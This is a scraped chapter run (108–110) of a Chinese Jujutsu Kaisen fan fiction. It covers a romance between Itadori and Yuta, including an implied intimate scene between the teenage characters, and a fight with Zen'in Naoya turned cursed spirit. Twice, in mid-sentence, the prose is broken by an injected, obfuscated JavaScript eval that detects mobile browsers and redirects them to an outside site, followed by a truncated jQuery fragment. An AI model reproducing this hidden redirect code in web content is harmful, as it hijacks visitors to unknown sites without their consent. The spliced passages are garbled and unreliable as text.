虎杖悠仁把手搭在椅背上,木椅子被他推回了桌面下,客厅的空间看起来大了不少。
他终于说出了那个想法。
“我果然,不太了解五条先生。”
108. 第 108 章
乙骨忧太拉着虎杖悠仁坐到了沙发上。
他们认识五条悟也有很多年了,最初听到他说自己是最强,虎杖悠仁只是浅薄地觉得“那可真是厉害啊!”。当时不解其意,只觉得那副风轻云淡的自信让他整个人都非常特别。也许就像太阳。谁会注意不到天上的太阳呢?
就算阴云密布,可它的光总象征着白日的界限。只要它还在天上,白天就不会结束。
虎杖悠仁唾弃自己的胆怯。
“如果五条先生在的话,自己想要做的事情绝对会被阻止。当时满脑子都是这样的恐惧,所以根本不敢向当事人询问想法,连思考这件事都会下意识地逃避。”渐渐落下的夕阳将他们的影子拉得极长,屋子里没有开灯,少年们的神情在阴影中暧昧不清。
这个话题一直被他们默契地避开,直到今天被虎杖悠仁主动提起。
乙骨忧太明白他们早晚要将这件事说清楚的。
“......五条老师也是会为很多事情而感到苦恼的。会抱怨工作上不顺心的事,不想去开会,觉得总监部的人很麻烦,自己想吃的甜品店关门了......看起来就像是个最普通的人一样。”
偏偏,他有六眼和【无下限咒术】。
乙骨忧太好奇过,意识到自己的力量远超旁人的时候,五条悟究竟是怎么想的呢?
但六眼是天生的,【无下限咒术】的觉醒也顺理成章。从离开母体的那一刻,他就是与众不同的。
“我觉得这种感觉很可怕,”乙骨忧太双手交握搭在腿间,“你也听他说过成为最强的感受。”
什么都能做到的全能感。
“但是,五条先生他......”
“我其实希望大家都变得自私一点,”乙骨忧太打断了虎杖悠仁,“五条老师也是,悠仁你也是。”
不然的话,他根本看不清他们真正的模样。
“我会给狗卷同学他们打电话的,”乙骨忧太站起身拍了拍粉发少年的肩膀,又试探性地拍了拍他的头,“今天你也很累了吧?先去休息吧。”
手下的触感很好,虎杖悠仁的头发看起来四处乱翘着,实则那些发丝都柔软得过分。
乙骨忧太放下手,准备去院子里打电话。他刚走出没几步,忽然听到身后的少年轻得可怕的询问。
“那,你现在看清我了吗?”
“忧太?”
乙骨忧太回头,对上了正视着自己的琥珀色眼眸。它们依旧如同黏腻的蜜色漩涡一样,牢牢地将他拴死在其中。
覆满爱意的凝视总会让人变得盲目,但乙骨忧太觉得那其实只是一种轻浮的喜欢。他们喜欢在自己眼中闪闪发光的人,为那些眩目的光芒心动,也被它们的耀眼遮蔽了双目。看见太阳下的影子,有人会退缩,有人依旧蒙着双眼继续向前。
但爱不应当是这样。爱意应当能让人明白光与影从来密不可分,它能让原本各自独立的两人彻底看透对方、看透自己,只有当他们能从这份爱中看见令自己欣喜的东西之外的什么时,它才会变得真实,拥有切实的重量。
乙骨忧太退了回去,他缓慢地迈着步子回到了沙发旁,虎杖悠仁仍旧执着地抬头望向他。他从粉发少年的眼睛里看到了自己的倒影。
他伸出手,指尖捻住了一根粉色的发丝,轻轻将它拨到了一旁,露出干净的额头。
“不要这么问我,悠仁。”夕阳似乎已经完全落到了钢铁丛林之后,暖黄的光从房间里逐渐消散,留下了清冷的暗蓝。
爱会让他一直看着。
“我一直在看着你,我什么都能看得见,”乙骨忧太在黑暗中说道,他的影子遮住了那双琥珀眼睛原本的颜色,让它们变得黯淡、像他自己的眼瞳一样收敛着光芒,“我接受你的一切。”
虎杖悠仁直接跳了起来,跨过沙发扑到了乙骨忧太的身上。
少年们的身体已经能够窥见未来真正长开后的模样,但现在未成熟时的青涩带着难以明说的稚嫩冲动塑造了如此契合的两个人。
乙骨忧太敞开怀抱,被扑了个满怀。虎杖悠仁抱着他的时候能将下巴恰恰好好地卡在颈窝里,儿时夸下的海口终究是变成了一直遥不可及的梦想。
“结果忧太你一直比我高一点。”
温度在紧贴的身体间来回传递,虎杖悠仁觉得自己的耳朵要烧起来了。
衣物摩擦的声音从未如此刺耳,一只手拢住了他的后脑,轻之又轻地将他的脑袋继续向前摁了摁。
乙骨忧太的语气听起来带着点笑意,虎杖悠仁猜他一定在自己看不见的地方翘起了嘴角:“毕竟我比你大一岁嘛。”
接下来便是似乎永无止境的沉默。寂静完全占据了这栋房子,水龙头缓慢积蓄的水滴将落未落,深秋的晚风从微不可查的窗缝里钻了进来,只在极安静的时候才能听到它们钻进房子时发出的响动,像是一群不请自来的吵闹客人。
虎杖悠仁怀疑自己产生了幻觉,在“帐”里能听到风声吗?
“真的、可以吗?”
乙骨忧太问道。他的声音就在耳边,可虎杖悠仁却觉得陌生的感觉已经带着他飘远了,让乙骨忧太的声音变得模糊不清。
“你现在才这么问吗?”他听到自己回答道:“可以哦。”
他仿佛回到了仙台的乡下。
仰面躺倒时闻到榻榻米的干草香让他回忆起小时候和爷爷住过的乡下老房子,那时他也是用这样的姿势躺在缘廊的木地板上,任由夏日午后的阳光被茂密的树叶打碎,落在自己身上。头顶的风铃声听得熟了,便不会再觉得它吵闹。
“看着我,”有人说,“看着我,悠仁。”
挡在脸上的手臂被拉开,他不知道自己现在是什么样子。想去捕捉身前人的眼睛,却发现不论怎么努力都没办法捉住它们,像是浅滩里狡猾的泥鳅一样滑溜溜的,数次从指缝间逃脱。
他忽然有点赌气的意思,伸手捉住了那张脸。
“......?”脸颊被掐得鼓了起来,看上去模样有点搞笑的乙骨忧太不知道他想要做什么。
虎杖悠仁像是醉鬼一样满意地点了点头:“这样就好了!”
乙骨忧太哭笑不得。他俯下身子凑到虎杖悠仁的耳边,不断往前:“已经变得脑袋空空了?”
“不知道,”虎杖悠仁向旁边躲了躲,但实际上也没挪开多少距离,“不知道啦。”
他睁着眼睛望向天花板,偶尔闭上再睁开,月光打在它身上的颜色一成不变。
“我偶尔会做梦,梦到小时候和爷爷生活过的那个乡下镇子,”他说道,“但是那里一个人都没有。只有我自己。”
新干线站台、地下通道、地面上的鬼剑舞雕塑、看起来很眼熟的小公园......小时候觉得那里很大很大,他可以给自己安排一个星期里的每一天都玩些什么,完全不会觉得那样的生活重复又无聊。
“你想回去看看吗?”
虎杖悠仁也说不好。记忆中的镇子现在一定已经变了很多,他清晰地明白这样的变化是必然会发生的,也不会因此心生什么惋惜之意。
思考的过程总是会被打断,也许真的已经变得脑袋空空的虎杖悠仁开始抱怨了起来,试图让身前的这个人让他稍微喘口气。
“不行啊,”乙骨忧太拒绝了他,“是悠仁说可以的吧?”
“......那别咬了?”
“会很痛?”
“那倒没有,”虎杖悠仁轻轻挣动了一下,随即放弃了让他停下来的想法,“感觉会很怪。”
“那就继续说点什么吧。”
虎杖悠仁断断续续地重新连上了自己刚才思索的事情。
他不喜欢在夏天的时候去农场,那段时间闷热极了,不论是人还是动物都被笼罩在一股焦躁之中。所有的气味都被高温彻底激发了出来,蚊虫的骚扰让他不得不时刻挪动着,像是不断甩动的马尾巴一样无法停下来。
“农场里的蜘蛛是最幸福的,”他一字一句地说着,“它们住在农场主也够不到的角落,挂在天花板上。”
就算他指给爷爷看,也只会得到“啊,确实呢,那里很不好清理的啊”的回答。
“偶尔我会想躲在干草垛里睡觉,因为那里看起来很暖和......冬天的时候。”
他们所在的这处住所对面隔着一条街就是高千穗牧场。和虎杖悠仁小时候常去的小岩井农场不太一样,这里没有那么大的棚子,黑脸的绵羊像是一颗颗白珍珠洒在翠绿的草地上,此起彼伏的叫声在屋舍周围的空中回荡着。
被抱住的时候,他只说了一句:“好热。”
像是冬天喝进肚子里的热乎乎的奶茶,幼稚地想着圣诞老人什么时候会来送礼物。
不知道为什么,那个时候的记忆变得清晰了许多。
乙骨忧太的双手抹过他的脸,让他重新开始呼吸:“带我去看看吧。”
遇到我之前的你在哪里生活?什么样的地方将你变成太阳,照亮了我的世界?
“带你去看看?”虎杖悠仁咕哝着。但是梦里的镇子没有任何人。
“让我看看吧。”
扫过眼睫的黑色发丝让虎杖悠仁敏感地想要躲开那些痒意的源头,高热的体温才刚刚开始冷却,残留在皮肤表面的湿意就显得格外明显。
“那里已经完全变了样子吧,”他开始摇头,“公园会被推平建成商店街,路边的野花也不再是我熟悉的那个品种,河边也会被栅栏围住,不允许孩子们继续靠近河流钓小龙虾。”
农场......他曾喜欢看一匹身上有斑点纹路的高大马儿在草场上打着圈儿地奔跑。他拿着萝卜努力将手臂伸得足够高,看着它的嘴巴滑稽地开合,每当这时他都会捂着肚子笑得弯下腰。
“那里还有靶场来着,但根本不允许孩子进去。”
虎杖悠仁靠在乙骨忧太的肩膀上,他们并排躺着,他将手伸向天花板,张开了手掌。
乙骨忧太拉过被子,清洗干净的身上各自带着同样的柚子香气。
“每个人都会有这样的记忆吧?就像爷爷也见过过去的城镇,但他看到的和我看到的也不会一模一样,”虎杖悠仁缓缓合拢手掌,握成拳,“独一无二的、宝贵的记忆。”
他侧目,看到了认真凝望着他的乙骨忧太。
“城镇会发生变化,熟悉的场景会消失,然而记忆只会褪色。这些记忆和为了生存而进行的各种生命活动一样重要,只要还有人记得,它们的存在就有价值。”
伸出去的手臂稍微附上了凉意,但虎杖悠仁不觉得冷。乙骨忧太将他的手臂拉回了被子里。
额头抵着额头,他们靠得极近,像小时候那样凑在一起闭上了眼睛。
“在遇到悠仁之前,”乙骨忧太
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378247|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的气息变得更加轻柔,带着浅浅的倦意,“我一直觉得生活就是活着,没什么特别的意义。因为从小就能看见咒灵,在察觉到自己和别人不一样之后就一直这么觉得了。”
虎杖悠仁嗯了一声,表示自己在听。
“最常待的地方是家里,是我自己的房间。外面对我来说很可怕,幼稚园里的老师身上也总是趴着咒灵......现在想想其实那只是蝇头而已。”
“那一天是我难得主动出门,”回忆带走了很多时间,“家里太安静了。”
父母似乎带着妹妹去了医院,家里只有乙骨忧太一个人。只是一次突如其来的想法,他便走出了家门,迎向了自己的命运。
“那我们还真是幸运呐。”虎杖悠仁说。
人与人的缘分总是过分奇妙。
他实在没精力再坚持下去了,眼皮重得过分,连声音也变得黏黏糊糊:“......我要睡觉了。”
“睡吧,”身边的人说道,“明天见,悠仁。”
“已经是‘今天’了......明天见,忧太。”
——
“你们在谈恋爱吗?”来栖华问道。
“啊,你看出来了?”虎杖悠仁挠了挠头。
少女在空中转了个圈,悠哉地躺着说:“毕竟很明显嘛。”
“好吧。”虽然本来也没有想瞒着的意思,而且乙骨忧太的同期们和不少咒术师早就知道了。
“我觉得你不需要从‘简易领域’入手,”天使说,“你们在咒术上的天赋很强,对万领域的分析也基本正确。”
虎杖悠仁觉得在天使眼中他们正在舍近求远,听起来她对于困扰他多时的领域有一些其他的看法,于是摆出了好学生般虚心请教的态度,想让天使再多说一些。像她这样愿意沟通、博学多识的古代术师应当是少数,又不吝啬于传授咒术的知识,虎杖悠仁当然要抓住这难得的机会。
“我问过乙骨的领域构成,大概明白了一些。构成结界的必要条件、对内对外的强度设定、构筑结界的速度,这些才是你需要深入思考的问题。在我们的时代,领域不是像现代这样高深的技法,术师们更关注让术式对领域内的对象强制生效,就像万的‘三重疾苦’,追求的是领域的必中效果,而非现代术师们拘泥的‘必杀’。”
“你既然已经亲身体会过诸多领域,身体对必中效果肯定有所领悟。”
降低构筑领域的门槛,像古代术师们那样将领域当成最基础的技法来学习。
“想想你激发正极能量、领悟反转术式的过程,”天使笃定地说,“只要将结界构筑起来,你的领域自然而然也会完成。”
话是这么说,但虎杖悠仁每一次突破自我的时候都游走在生死边缘,那是“如果不能前进就会被死亡追上”的绝境时刻,如今在天使的指导下打磨技法总让人觉得差了点什么。
他摇晃着脑袋将那怪异的想法甩了出去。
来栖华把玩着咒力构成的黄铜喇叭,手指虚虚地搭在乐器的表面。天使可从没这样夸赞过任何人的咒术天赋,这倒是个新鲜事。
看着下方沉思的少年,天使对来栖华说:“但是,现代术师们的领域强度会远超普通的古代术师。携带必中必杀效果的领域,赋予给它的生得术式同样会被大幅增强、乃至改变性质,比单纯的必中领域更具杀伤力。”
“虽然构筑领域的门槛会变得极高,但也更能证明他们在咒术上几乎已经走到了极致。”
不过,必须要加上“几乎”。因为必中必杀的领域之上,还有那宛如神技一般的......
来栖华问:“天使,你有领域吗?”
“不附身的话,光凭你自己还是太勉强了。”
“......”来栖华看着手中的喇叭,答道:“好吧。”
她的小金虫突然冒了出来,大声宣布:“有泳者增加了新的规则!规则九!泳者可以获取其他泳者的情报——‘名字’、‘得分’、‘增加规则次数’以及‘所在结界’!!”
增加新的规则需要100点分数,死灭回游刚刚开启十天左右,就有人已经拿到了这么多分?!虎杖悠仁同样听到了小金虫的话,来栖华翻动终于显现出来的泳者名单,找到了增加规则的那个人。
“鹿紫云......一?天使,你认识这个人吗?”
天使否定道:“不是和我同一时代的术师。”
来栖华在名单中见到了熟悉的名字。
伏黑惠也翻动着名单,不出意料没有找到伏黑甚尔的名字。看来他真的能在死灭回游的结界里来去自如......但这无疑让他们重新汇合变得更困难了一些。结界覆盖的面积太大了,让鵺来搜寻并不是上策。
他让小金虫按照持有分数的多少给所有泳者排了一个顺序。
“伏黑。”一直没有动静的小号机械丸突然恢复了通讯,带来了一个好消息。
受肉的古代术师在名单中会出现两种情况。一种是抹消了容器的意识,这样显现出来的就是受肉|体本人的姓名,另一种就是选择与容器共生,不过这样的情况极少,比如天使,代表她的名字显示的就是“来栖华”。
“天使的下落已经确定了,”机械丸说道,“好消息是知道了她在樱岛结界附近,还有就是......”
他顿了顿:“乙骨和虎杖悠仁已经接触到她了。”
109. 第 109 章
“有谁在樱岛结界附近吗?”
“七海先生和狗卷他们还在结界外,真希和真依也可以行动。”
伏黑惠翻动名单的手一顿。
“禅院直哉也在樱岛附近......”
机械丸确认了他的说法。
那就交给她们自己来决定吧。伏黑惠决定先将重心放在拿到足够多的分数上,现在有人让泳者的信息都显露了出来,对他来说也是个意外之喜。
机械丸的声音在电流声中消失了,应该是去联系仍在结界外的咒术师们。伏黑惠已经找到了几个分数最高的人,他可以选择自己一点点拿到分数,也可以尝试从那些高分泳者们身上入手。但在游戏刚开始就拿到这么多分数的人肯定不好对付,不论是战斗还是说服都不是件容易的事。
伏黑惠脚步一转,东京第1结界里有几个被他看中的目标,现在......
有人挡在了巷口。
“你是伏黑惠?”
“你们是,”伏黑惠直接召唤出了玉犬,警惕地盯着找过来的人,“受肉的九相图?”
“哥哥!他是悠仁的朋友吗?”血涂指着伏黑惠问。
胀相直截了当地向他说明了自己的来意。
——
虎杖悠仁昂首,与从二楼窗户探出头的乙骨忧太对上了视线。
“能找到羂索......或者夏油杰的名字吗?”他问道。
来栖华因为他有些不太寻常的语气侧目,不过还是任劳任怨地找了起来。小金虫的搜索需要时间,她趁此机会问道:“我之前就想问了,这是谁?”
虎杖悠仁微微移开视线:“我也想知道。”
“......天使?”
“抱歉,”古代术师说道,“我想恐怕除了天元,这个世界上不会再有第二个人知道他的底细。”
乙骨忧太冷淡地补充:“我问过祂,伏黑同学他们也问过,但......”
天使也不太想继续评价端坐薨星宫的不死术师,她从刚才开始似乎就一直在思索其他的事,小金虫的搜索恰在此时结束了。
来栖华指着出现在透明屏幕上的名字说:“是泳者,但是不在任何结界里。”
是了,进入结界只会让他被困在那里,他总是要想办法终结死灭回游才能开启同化的。
只是现在他们都想不到羂索会如何做到这一点。
虎杖悠仁突然转头看向结界的方向。
乙骨忧太从二楼的窗户直接来到了院子里:“结界那边有什么让人在意的事吗?”
“华的记忆里有一个白头发的六眼术师,”天使开口询问,“他在哪里?”
她没有得到任何回应。乙骨忧太在看虎杖悠仁,而粉发少年一直注视着那个结界。
“忧太,”虎杖悠仁轻轻喊了一声,“那边好像——”
天使突然警惕起来:“华!有什么——”
她的话音还没落到地上,虎杖悠仁只觉得眼前一闪一暗,半空中来栖华的身影从他们眼前蓦地消失了,与之一同破碎的还有他设下的“帐”。
虎杖悠仁瞪大了眼睛,目光犀利地转向,却在看清天边的那个黑点时被乙骨忧太一把拉住扑倒在地上,随之而来的就是从背后袭来的足以压垮粗壮树干的恐怖风压。那感觉简直就像是中了他自己的术式一样。
待身后的压力稍减,虎杖悠仁立刻翻身而起,看到乙骨忧太的身影后毫不犹豫地拉住了他递过来的手臂。
仅仅是扫了一眼他就狠狠抿起嘴。
从远处结界脚下到他们的临时住所这里再延伸到高千穗峰的方向,大地上留下了一条又深又宽的沟壑,哪怕只是从院子的侧上方经过就将二层建筑的房顶蹭掉了一块。与他们相邻的房子就没有那么好运,直接被毁去了大半。
虎杖悠仁确信自己看到了那个袭击者。
术式发动,满腔愤怒粉发少年踏地,带着乙骨忧太高高跃起。他们在空中叫出了里香,让白色的式神全力带着两人沿着地面留下的冲击痕迹追了上去。
“那个是......”
乙骨忧太顶着狂风皱起眉。
里香的追击速度极快,他们已经追上了那个家伙的尾巴。
咒灵?这种速度——
前面的咒灵还在加速,虎杖悠仁凭借着强大的平衡能力在里香的肩膀上站稳,白色的式神伸出手掌护着他,让他可以完全放开双手。
粉发少年眯着眼睛,抬手辅助自己瞄准术式对象。
袭击者大肆破坏着周围的城镇,它的行动路线并不完全笔直,而在连续前冲将近两公里的距离后,终于开始有减速的迹象。
得让它停下来。
视线聚焦的刹那,虎杖悠仁发动了【御厨子】。细密的切痕出现在了像是蛇身一般的咒灵身体上,随即便是深可见骨的斩击。伴随着血液飞溅,炙热的高温点燃了附着在斩击上的不稳定咒力,将咒灵从天上炸了下来。
“里香,去找来栖。”乙骨忧太拍了拍它的肩膀,和虎杖悠仁一起跳下了地面。
“知道啦!”
虎杖悠仁言简意赅:“特级?”
那东西被他切了一遍又炸了一下,却在降落地面之后蜻蜓点水般地再次起飞,又一次去到了空中。离得近了才看清它的身体比起蛇类更像是蚕的半身,头部暂时看不清楚,但似乎有两对手臂模样的肢体。
乙骨忧太顶着太阳望向半空中黑色的影子。那东西给人的感觉不太像是他们遇到过的特级咒灵,反倒有点像......
天上的咒灵居然开口说话了:“好痛......原来咒灵也会感到疼痛的吗?”
它的身体蜷缩在了一起,可以被称为头部的地方开始蠕动,仿佛有什么东西从布满孔洞的皮肤之下凸起,想要破皮而出。
“我之前祓除了那么多咒灵,一想到它们和我一样在受伤时会觉得疼,我就十分愧疚......”
真正的头部长了出来。
虎杖悠仁看清了它的真面目。肢体的确是人类的手臂,新长出来的头部也和人类相似,一双眼睛因为更接近兽类的头骨走向而被拉得向两侧倾斜。
乙骨忧太将咒力灌注到了刀具之中,沉声道:“是咒胎。不能让它彻底完成变态,不然的话附近这一带都会被战斗波及的。”
他以为虎杖悠仁的斩击能将它彻底击落、将战场挪到地面上,这才让里香去找率先被当成目标攻击的来栖华,没想到那东西居然又飞了起来。
虽然还有悠仁的术式,但是考虑到这个咒灵的速度超越音速,地面上的他们仍旧不占优势。
“——哈哈!我说着玩的啦!”天上的咒灵向他们俯冲而来。
虎杖悠仁和乙骨忧太没有避开,咒灵进攻的速度也不允许他们让开它前进的道路。
碰撞发生的瞬间,虎杖悠仁觉得自己仿佛被一堵迎面而来的厚实墙面撞倒,极速带来的冲击力根本没办法凭借力量硬生生地挡住。在身体倒飞出去的时候,一只手抓住了他的脖颈,咒灵脑袋上的眼睛转了过来。
“啊啦~居然是你啊~那个时候被你逃走了,那还是我第一次被人在眼皮底下钻了空子,你还挺有能耐的嘛!”
这家伙?!接触到咒灵身体的瞬间,虎杖悠仁感觉到了熟悉的定格感。这种时空都被凝固的能力让他一下想到了教会里的袭击者,乙骨忧太告诉过他那个人的名字——
“禅院直哉?!”
“真好,省得我还要自我介绍,”咒灵用另一侧的两条手臂同样制住了乙骨忧太,他的刀砍入了大半,但在飞速倒退的状态下无从发力,“还有你,你可是在我家好好大闹了一番啊!真是让人火大!”
虎杖悠仁的手攀住了禅院直哉的身体,直接近距离发动了【御厨子】,但只有他附近抓着他的手臂被切碎了,本体似乎比他想象中得要更加坚硬——虎杖悠仁侧身翻滚着脱离了咒灵的桎梏,禅院直哉在速度开始减慢的时候骤然下降了高度,将另一只手抓着的乙骨忧太狠狠砸入地面拖行着。
所过之处同样留下了可怖的痕迹,两侧建筑的顶层几乎全部受到波及,玻璃橱窗和窗户尽数碎裂,扯断的电线冒出了电火花。虎杖悠仁已经听到了惊叫声。
它的每一次加速都需要蓄力,保持极速前进的时间似乎会因为蓄力的程度而发生改变。虎杖悠仁从满地狼藉中跳了起来,疾驰着追了上去。
近距离发动的【御厨子】会像宿傩的“捌”那样分析对手的硬度,不管什么样的东西都应该能够被切开才对。那东西——禅院直哉的本体在加速的时候被施加了某种“束缚”,用来确保极速不会让它的身体陷入自毁的境地。
按理说没人能在它超音速行动的时候攻击到他的本体,唯一能伤到它的就只有速度带来的反噬。算是误打误撞,禅院直哉的“束缚”展现出了远超想象的效果,让它的身体在行动时变得刀枪不入,连【御厨子】也无法切开。
人类怎么变成了咒灵?!
不、想想里香。有人诅咒了他?还是说......他被某种不含咒力的东西夺去了生命?
“你还真顽强啊。”禅院直哉松开手。它直接撞上了山路边缘的台坡才停了下来,最后的冲击让周围的地面和墙面彻底碎裂,砖块翻起,乙骨忧太就躺在废墟之中。手里仍握着刀。
禅院直哉眯起已经变形了的眼睛:“这种咒力量真是可怕。”
和直接被它撞晕过去的来栖华不一样,乙骨忧太起身挥刀的时候近乎毫发无伤,仅仅是衣物和裸露的皮肤表面被灰尘微微蹭脏。
咒灵甩动尾巴,从乙骨忧太的刀尖避开了。
黑发少年打量着周遭的环境。勉强算是把战斗带离了建筑密集的居民区,只是不知道出了这样的事,他和悠仁还能不能继续在这片地区住下去。
锋利的刀身映出乙骨忧太如夜色般幽深的眼瞳,他面无表情地捕捉着禅院直哉留下的残影。
他不在乎禅院直哉为什么会变成咒灵,也懒得管它为什么直奔着他们而来。
“我才是火大的那一个,”咒力完全涌动起来,不收敛的时候像是一轮太阳散发着足以烧穿一切的诅咒,“我不会让任何人毁了我们的家。”
“你说什么呢?真搞笑啊,”禅院直哉在天空中绕了半圈重新蓄力,“这感觉真好。”
“小的时候看着大人们能做到但自己做不到的事总会很失落,但自己长大之后却已经忘记了小时候觉得自己做不到的事。这种感觉你能理解吗?”
音爆穿透了鼓膜,令本就被撞得粉碎的地面再度震颤起来,碎石块翻滚着,有尘土因为震荡扬起,模糊了视野。
禅院直哉看到乙骨忧太仍站在原地,看上去像是还想用咒力强化身体来试图停下它。
“笨蛋——这怎么可能有用呢?!”
极速的术师死后变化而成的咒灵保留了相当程度的知性,乙骨忧太基
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378248|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
本确定了它的死因。在被制住摁在地面上拖行的时候,他近距离看到了贯穿禅院直哉太阳穴的弹孔。
他是被人枪杀的。
乙骨忧太提刀,面对仅凭移动时产生的风压就压断了成排粗木的进攻也丝毫没有闪躲的意思。
直接输出正极能量?毕竟是咒灵。但此时并非最佳选择,乙骨忧太立刻打消了这个想法。
禅院直哉的速度太快了。
它看上去还能够勉强使用术式,不过比起它还是人类时使用过的【投射咒法】,现在展现出来的更像是没有被完全清除的身体本能。定格的特性还在,但术式的使用并不完整。
脱离了由它自己设定的连贯动作,单纯的极速让跟不上速度的眼睛错过了一些细节。
突然出现在乙骨忧太嘴角的蛇眼与蛇牙被禅院直哉完全忽视了,直到附加着咒力的语言传入耳中,身体不受控制地僵直、无法动弹时,它才恍然大悟。
“不许动——!!”
咒言生效的一瞬间,前冲的势头只剩下了惯性,可依旧势不可挡地冲向了乙骨忧太。
禅院直哉却没将注意力放在眼前的黑发少年身上,而是将双眼翻起,想尽全力捕捉到来自上空的威胁。
势大力沉的一击从天而降,禅院直哉看到了高高跃起的虎杖悠仁,却因为身体受到了咒言的制约而无法进行躲避,直接完全接住了这一拳。
不光带着提高重力后加速坠落的力量增幅,虎杖悠仁这一拳直接将它后脑的部分打得瘪了进去,与此同时还在触击的瞬间施展了【御厨子】。果不其然,这一次他的斩击切实地切开了它的身体。
禅院直哉说的话,虎杖悠仁多少能够明白一点。领悟了反转术式之后就很难再想象不理解正极能量的自己,也许咒术师的成长会带来质变的全能感就是因为这个原因吧。
乙骨忧太已经迎面冲向了禅院直哉。
“啊——好疼、好痛啊!!!”
咒灵嘶吼着,扭曲人脸上的眼球疯狂滚动,庞大的身躯想要缩起,却因此将创面扯出了更大的伤口,血液成片地泼洒向四周。
黑发少年的刀上附着着异于他自己身上咒力的能量。既然是咒灵,正极能量就是绝对的克星。
他起步的速度极快,禅院直哉本就因着惯性无法停止地前冲,这下子看上去就像是直接自己撞到了乙骨忧太的刀上一样。
这个触感......
刀身砍入咒灵的肉|体,切开的过程中没有遇到任何阻碍,就像是划开了一副内里装满了脓液的皮囊,手感怪极了。
普通的咒灵在遇到正极能量的瞬间就会灰飞烟灭,就算这家伙是特别一级术师死后化身而成的咒灵,也不应该对正极能量毫无反应才对。
“悠仁!”
乙骨忧太从皮囊切口的夹缝中窥见了咒灵的真身。超重压应声而落,留在术式范围内的那部分瞬间被压瘪了。虎杖悠仁不觉得它脆弱到连一秒钟都坚持不住:“真的假的?!在我的术式生效前就——?!”
那只是一副蜕掉的皮囊。
乙骨忧太猛地抬头向天上看去。
若说之前还能勉强看见残影,刚才禅院直哉从皮囊中脱出的速度让它根本无法被肉眼轻易捕捉,直到它主动停在了半空中,居高临下地俯视着地上的少年们。
咒灵全新身体上的每一条流线都为了“获得更高速度”而生,看上去就像是完全舍弃了头颅与四肢的人类躯体,取而代之的是某种宛如鞭子一般的未知物质构成的肢体。硬要说的话,那些东西好似用海葵触手扎成的拖把,伸缩自如,现在正像是翅膀一样在咒灵的身侧伸展开来。
当它转过来的时候,他们才看见了那张骷髅一般恐怖的脸。
完成变态的咒灵舒展肢体,高高在上地说:“哼哼~今天天气真不错啊。”
头颅附近的进气口发出嘶嘶的声响,如果那张脸还能做出表情,此刻一定是在轻蔑地讥笑着:“现在的话,就能追上甚尔了吧?”
——
将加茂家第25代家主之位收入囊中的羂索待在与他记忆中没有太大变化的加茂本家的宅邸中,边走边接通了电话。
“呵,你得手了?”他的目光在走动中停留在了一个昂贵的花瓶上,流连片刻才从它身上挪开:“我一直都很支持咒术师们使用现代武器......啊,这玩意儿居然还在。”
羂索侧了侧头:“哈哈,别在意,只是在这边见到了明治的时候就见过的东西。真不知道同样的东西看了一百多年怎么还不会腻啊~”
孔时雨点燃了香烟,从喉咙里发出一声哼笑:“想要他命的人可一直都不少,只不过没有那位那么恐怖罢了。”
这是他身为中间人最后一次亲自动手,干完这一票就准备出国再也不回来了。电话那头的可是他最大的客户,至于这位大客户的真正身份,他极有职业操守地从不主动触碰。
羂索让跟在身后的老管家把他还是加茂宪伦时就见过的挂画丢回仓库,随口说道:“看在我们合作愉快的份上再给你个建议吧。跟首座乘同一架飞机可不是什么明智的选择,我想现在去定船票还来得及。”
孔时雨停下了脚步,机场的广播里正念着他准备搭乘的航班号码。
“啊,感谢提醒。”他站在落地玻璃旁,望向停满客机的停机坪。挂断电话后他等了一会儿,在广播最后一次催促时按灭了手中的烟头,头也不回地离开了机场。
110. 第 110 章
精英律师抻了抻自己的领带,松开了领口让自己能够更加自由地呼吸。
“你才上高中吧?”
伏黑惠尽管疑惑,但还是顺着他的话回答道:“我上的高专。”
日车宽见坐回了舞台中央的椅子上,随意地摆摆手:“高中生就好好去上学啊。”
“......你好像误会了什么,日车先生,”黑白玉犬们在主人的召唤下显现,踩在伏黑惠的影子上守护着他,黑发少年神色坦然,“现在我是咒术师。”
舞台上的人将眼睛转了过来。
“如果你想要我的分数,我拒绝。”日车宽见重新站了起来,他承认自己有点小瞧了伏黑惠的决心,也有点以貌取人......大概是因为得到力量之后松懈了吧,最近他总爱做一些原本想做却不敢做的事。
西装黏在身上的感觉并不美妙,但想想穿着它们躺在浴缸里泡澡的感觉,这点不适也就无关紧要了。
他赶在伏黑惠想要说些什么之前先行说明了自己的意志:“我不知道你们怎么看待这个游戏,但是我从规则里看到了一种可能性。规则里的‘术式剥夺’,如果这个惩罚可以与死亡画上等号,那我们就更没什么好谈的了。”
“......什么意思?”
日车宽见用法槌敲着自己的手掌,湿透的袖口还有水滴落到自己的脚边,滴答声在这空旷的舞台上反倒显得极为明显:“法律有时是无力的。啊,先说明一下,我是个律师。”
“这倒是能很明显地看出来。”伏黑惠说道。
精英律师歪了歪脑袋,认可了他的敏锐。
“死灭回游让我得到了真实的力量,那它的规则也应该是真东西。只要违反了规则就会被惩罚,不需要诉讼,也不需要花费大量的时间和精力去争辩真伪、判定惩罚是否能令所有人满意。你难道不能想象这是一件多么美好的事吗?”
出人意料的,伏黑惠回答道:“听起来的确很完美。”
恶人能够得到惩罚,好人能够幸福地生活。简直就像是理想中的乌托邦世界。
日车宽见摊开手。
